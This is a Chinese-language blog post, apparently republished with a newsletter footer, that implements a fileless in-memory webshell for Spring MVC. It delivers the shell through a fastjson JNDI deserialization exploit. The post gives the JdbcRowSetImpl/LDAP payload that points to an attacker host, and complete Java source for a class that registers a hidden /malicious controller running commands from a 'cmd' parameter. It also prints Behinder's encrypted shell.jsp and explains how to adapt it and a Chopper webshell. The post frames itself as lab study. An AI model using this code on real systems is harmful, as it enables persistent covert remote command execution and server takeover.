本文僅供參考學習使用。
1 基礎
實際上java內存馬的注入已經有很多方式了,我在學習中動手研究並寫了一下針對spring mvc應用的內存馬。
一般來說實現無文件落地的java內存馬注入,通常是利用反序列化漏洞,所以動手寫了一個spring mvc的后端,並直接給了一個fastjson反序列化的頁面,在假定的攻擊中,通過jndi的利用方式讓web端加載惡意類,注入controller。
一切工作都是站在巨人的肩膀上,參考文章均在最后列出。
1.1 fastjson反序列化和JNDI
關於fastjson漏洞產生的具體原理已有很多分析文章,這里使用的是fastjson1.24版本,poc非常簡單
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
當web端使用fastjson對上面的json進行反序列化時,受到@type
注解的指示,會通過反射創建com.sun.rowset.JdbcRowSetImpl
類的對象,基於fastjson的機制web端還會自動調用這個對象內部的set方法,最后觸發JdbcRowSetImpl類中的特定set方法,訪問dataSourceName指定的服務端,並下載執行服務端指定的class文件,細節這里不做更詳細的展開。
1.2 向spring mvc注入controller
學習了listener、filter、servlet的內存馬后,想到看一看spring相關的內存馬,但沒有發現直接給出源代碼的controller型內存馬,所以學習並動手實現了一下(spring版本4.2.6.RELEASE)。
首先站在巨人的肩膀上,可以知道spring mvc項目運行后,仍然可以動態添加controller。普通的controller寫法如下
通過@RequestMapping注解標明url和請求方法,編譯部署后,spring會根據這個注解注冊好相應的controller。動態注入controller的核心步驟如下
public class InjectToController{
public InjectToController(){
// 1. 利用spring內部方法獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 從context中獲得 RequestMappingHandlerMapping 的實例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通過反射獲得自定義 controller 中的 Method 對象
Method method2 = InjectToController.class.getMethod("test");
// 4. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public void test() {
xxx
}
}
- 步驟1中的context可以理解為web端處理這個請求時,當前線程內所擁有的各種環境信息和資源
- 步驟2中獲取的mappingHandlerMapping對象是用於注冊controller的
- 步驟3中的反射是為了獲得test這個Method對象,以便動態注冊controller時,告知接收到給定url路徑的請求后,用那個Method來處理,其中InjectToController類就是我們的惡意類
- 步驟4定義的url對象是為了指定注入url,這個url就是我們的內存馬路徑
- 步驟5是告知注入的url允許的請求方法
- 步驟6中RequestMappingInfo填入的信息類似於@RequestMapping注解中的信息,即url、允許的請求方法等。是真正注冊controller的步驟
- InjectToController這個類就是我們的惡意類,其中定義了test方法,這個方法內存在執行命令,當然也可以替換成冰蠍、哥斯拉的webshell核心代碼,以便使用這兩個工具。InjectToController的完整代碼在后面的章節可見
1.3 獲取request和response
常用的jsp一句話webshell代碼如下
java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
由於jsp文件被執行時,會自動獲得了request這個資源,所以一句話木馬不需要考慮如何獲取request這個對象。但在我們注入controller的流程中,惡意java類的編譯是由攻擊者完成的,web端直接執行編譯好的class文件,顯然不可能像上面圖片中用注解的方式在讓test方法(InjectToController中的)的參數自帶request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ,通過spring的內部方法獲取到request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
如果spring mvc項目部署在tomcat下,也可以用針對tomcat獲取requeset的方法,例如從ThreadLocal、Mbean和Thread.getCurrentThread獲取(后方參考文獻中已給出)
1.4 阻止重復添加controller (非必須)
經過調試發現,上面獲取的mappingHandlerMapping中有一個mappingRegistry成員對象,而該對象下的urlLookup屬性保存了已經注冊的所有url路徑,對mappingHandlerMapping進一步后發現,以上對象和屬性都是私有的,且mappingRegistry並非mappingHandlerMapping中創建的,而是來自於基類AbstractHandlerMethodMapping。
所以對AbstractHandlerMethodMapping的源碼進行了一番查看,發現通過其getMappingRegistry方法可以獲取mappingRegistry,而urlLookup是其內部類MappingRegistry的私有屬性,可以通過反射獲取。
反射獲取urlLookup和判斷我們給定的url是否被注冊的代碼塊如下
// 獲取abstractHandlerMethodMapping對象,以便反射調用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射調用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射獲取urlLookup屬性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判斷我們想要注入的路徑是否被已經存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
2 實驗
2.1 搞個spring mvc的測試環境
這里用idea做了一個maven+spring mvc+tomcat的測試環境,方便隨時換spring、fastjson和tomcat的版本。這個Web應用的功能有兩個:
- /home/postjson,可以輸入json並POST給/home/readjson
- /home/readjson,使用fastjson解析json,觸發反序列化的rce
推薦一個 Spring Boot 基礎教程及實戰示例:
https://github.com/javastacks/spring-boot-best-practice
2.2 惡意類源代碼
通過JNDI注入讓服務端執行的代碼如下
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class InjectToController {
// 第一個構造函數
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可選步驟,判斷url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
// 可選步驟,判斷url是否存在
// 2. 通過反射獲得自定義 controller 中test的 Method 對象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 創建用於處理請求的對象,加入“aaa”參數是為了觸發第二個構造函數避免無限循環
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二個構造函數
public InjectToController(String aaa) {}
// controller指定的處理方法
public void test() throws IOException{
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 獲取cmd參數並執行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
- 由於fastjson反序列化時,自動下載並執行編譯好的class文件,所以要在構造函數中寫入注冊controller的步驟
- 反序列化時自動觸發的構造函數是第一個構造函數,因為沒有帶參數
- 由於registerMapping方法注冊controller時需要給一個對象和這個對象內部的處理方法,而web端只下載了InjectToController這個類,再來一次JNDI去獲取一個惡意類屬實麻煩,所以用了
InjectToController injectToController = new InjectToController("aaa");
,這樣就會進入第二個構造函數,而不會進入第一個構造函數無限循環。
2.3 測試
啟動spring mvc項目,訪問/項目/malicious路徑,返回404
使用marshalsec開一個ldap的服務,並指定/Exploit這個reference對應的路徑為192.168.x.x:8090/#InjectToController,再用python開一個web文件服務器
編譯InjectToController.java,將編譯好的class文件放到python開的web文件服務根目錄下,訪問/項目/home/postjson,並提交payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
payload提交后,會被fastjson進行反序列化,在這個過程中會觸發JdbcRowSetImpl中的connect函數,並根據給定的dataSourceName發起LDAP請求,從開啟的給定的LDAP服務端(1389端口)獲得惡意類的地址,再去下載並執行惡意類(8090端口),可以看到payload攻擊成功了
訪問/malicious這個uri確定一下
2.4 注入菜刀webshell
只需要找一匹穩定的jsp菜刀馬,稍加改造:
- 把菜刀馬的函數定義放在惡意類中
- 在注入的controller代碼中加入菜刀馬的判斷和執行部分(上面的test方法中)
- 注意jsp菜刀馬最后的out.print(sb.toString());改為response.getWriter().write(sb.toString());response.getWriter().flush();
2.5 注入冰蠍代碼
2.5.1 冰蠍的服務端--shell.jsp
首先來看看冰蠍的shell.jsp文件,為了方便閱讀,稍作加了一些換行
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoader c){super(c);} //構造函數
public Class g(byte []b){
return super.defineClass(b,0,b.length); // 調用父類的defineClass函數
}
}
%>
<%
if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
可以看出,該jsp的核心功能有三點
- 為了方便地使用defineClass,創建了U這個類繼承ClassLoader;
- 使用java自帶的包,解密AES加密數據
- 使用defineClass加載AES解密后字節碼,獲得一個惡意類,利用newInstance創建這個類的實例,並調用equals方法
2.5.2 pageContext
shell.jsp中需要特別注意pageContext這個對象,它是jsp文件運行過程中自帶的對象,可以獲取request/response/session這三個包含頁面信息的重要對象,對應pageContext有getRequest/getResponse/getSession方法。學藝不精,暫時沒有找到從spring和tomcat中獲取pageContext的方法。
但是從冰蠍的作者給出的提示可以知道,冰蠍3.0 bata7之后不在依賴pageContext,見github issue
又從源碼確認了一下,在equal函數中傳入的object有request/response/session對象即可
所以注入的controller代碼中,可以將pageContext換成一個Map,手動添加key和value即可,前面的惡意類源代碼中已經給出了如何獲取request/response/session
2.5.3 繼承ClassLoader和調用defineClass
在2.5.1中提到需要繼承ClassLoader后調用父類的defineClass,當然也可以用反射,但是這樣更方便而已。對惡意類稍加改造,繼承ClassLoader、定義新的構造函數、增加g函數、添加冰蠍的服務端代碼
特別需要注意的是紅框內的ClassLoader.getSystemClassLoader()
,如果隨意給定某個繼承自ClassLoader的類,可能會出現報錯java.lang.LinkageError : attempted duplicate class definition for name
。這是因為需要使用getSystemClassLoader()獲取創建ClassLoader時需要添加委派父級。
2.5.4 上冰蠍
參考文獻:
https://www.anquanke.com/post/id/198886#h3-12
https://www.jianshu.com/p/89b0a7c11ee2
https://github.com/mbechler/marshalsec
https://lalajun.github.io/2019/12/30/java反序列化-fastjson/
https://github.com/rebeyond/Behinder/issues/151
https://blog.csdn.net/cumudi0723/article/details/107801362
https://github.com/rebeyond/Behinder\
作者:bitterz
地址:https://www.cnblogs.com/bitterz/
近期熱文推薦:
1.1,000+ 道 Java面試題及答案整理(2021最新版)
2.別在再滿屏的 if/ else 了,試試策略模式,真香!!
3.卧槽!Java 中的 xx ≠ null 是什么新語法?
4.Spring Boot 2.5 重磅發布,黑暗模式太炸了!
覺得不錯,別忘了隨手點贊+轉發哦!